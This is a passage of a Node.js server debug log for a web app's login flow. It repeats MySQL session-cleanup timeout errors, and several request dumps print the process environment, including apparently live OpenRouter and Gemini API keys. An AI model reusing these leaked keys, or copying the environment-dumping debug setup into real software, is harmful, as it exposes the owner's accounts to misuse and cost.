      _expires: 2026-01-01T06:17:55.910Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '174.129.9.123',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36',
    HTTP_ACCEPT: '*/*',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '174.129.9.123',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-31 06:36:37' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-31 06:36:37' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-31 07:48:27' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-31 07:48:27' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-31 08:05:38' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-31 08:05:38' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-31 08:12:27' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-31 08:12:27' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-31 08:14:38' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-31 08:14:38' as DATETIME)"
}
2025-12-31T08:18:47.610Z server-connect:router Serving templateView /
2025-12-31T08:18:47.612Z server-connect:app Executing action step identify
2025-12-31T08:18:47.612Z server-connect:app options: { provider: 'security' }
2025-12-31T08:18:47.612Z server-connect:auth No login cookie found
2025-12-31T08:18:47.612Z server-connect:output identity: false
2025-12-31T08:18:47.612Z server-connect:app Executing action step restrict
2025-12-31T08:18:47.612Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-31T08:18:47.613Z server-connect:output restrict: undefined
2025-12-31T08:18:52.302Z server-connect:router Serving templateView /login
2025-12-31T08:18:52.302Z server-connect:app Executing action step identify
2025-12-31T08:18:52.302Z server-connect:app options: { provider: 'security' }
2025-12-31T08:18:52.302Z server-connect:auth No login cookie found
2025-12-31T08:18:52.302Z server-connect:output identity: false
2025-12-31T08:18:52.302Z server-connect:router Render template layouts/authentication
2025-12-31T08:18:52.302Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    connection: 'keep-alive',
    'sec-ch-ua': '"Google Chrome";v="139", "Not-A.Brand";v="8", "Chromium";v="139"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Linux"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8',
    'sec-gpc': '1',
    'accept-language': 'en-US,en;q=0.5',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '64.227.169.72',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-01-01T08:18:52.301Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '64.227.169.72',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="139", "Not-A.Brand";v="8", "Chromium";v="139"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Linux"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8',
    HTTP_SEC_GPC: '1',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.5',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '64.227.169.72',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-31 08:23:27' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-31 08:23:27' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-31 08:59:27' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-31 08:59:27' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-31 09:17:38' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-31 09:17:38' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-31 09:24:14' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-31 09:24:14' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-31 09:45:15' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-31 09:45:15' as DATETIME)"
}
2025-12-31T09:57:26.386Z server-connect:router Serving templateView /
2025-12-31T09:57:26.387Z server-connect:app Executing action step identify
2025-12-31T09:57:26.387Z server-connect:app options: { provider: 'security' }
2025-12-31T09:57:26.387Z server-connect:auth No login cookie found
2025-12-31T09:57:26.387Z server-connect:output identity: false
2025-12-31T09:57:26.387Z server-connect:app Executing action step restrict
2025-12-31T09:57:26.387Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-31T09:57:26.388Z server-connect:output restrict: undefined
2025-12-31T09:57:26.506Z server-connect:router Serving templateView /login
2025-12-31T09:57:26.506Z server-connect:app Executing action step identify
2025-12-31T09:57:26.506Z server-connect:app options: { provider: 'security' }
2025-12-31T09:57:26.506Z server-connect:auth No login cookie found
2025-12-31T09:57:26.506Z server-connect:output identity: false
2025-12-31T09:57:26.506Z server-connect:router Render template layouts/authentication
2025-12-31T09:57:26.506Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3',
    accept: '*/*',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '3.231.70.17',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-01-01T09:57:26.505Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '3.231.70.17',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3',
    HTTP_ACCEPT: '*/*',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '3.231.70.17',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-31 10:56:28' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-31 10:56:28' as DATETIME)"
}
2025-12-31T11:47:47.695Z server-connect:router Serving templateView /
2025-12-31T11:47:47.697Z server-connect:app Executing action step identify
2025-12-31T11:47:47.697Z server-connect:app options: { provider: 'security' }
2025-12-31T11:47:47.698Z server-connect:auth No login cookie found
2025-12-31T11:47:47.698Z server-connect:output identity: false
2025-12-31T11:47:47.698Z server-connect:app Executing action step restrict
2025-12-31T11:47:47.698Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-31T11:47:47.698Z server-connect:output restrict: undefined
2025-12-31T11:47:47.818Z server-connect:router Serving templateView /login
2025-12-31T11:47:47.818Z server-connect:app Executing action step identify
2025-12-31T11:47:47.819Z server-connect:app options: { provider: 'security' }
2025-12-31T11:47:47.819Z server-connect:auth No login cookie found
2025-12-31T11:47:47.819Z server-connect:output identity: false
2025-12-31T11:47:47.819Z server-connect:router Render template layouts/authentication
2025-12-31T11:47:47.819Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
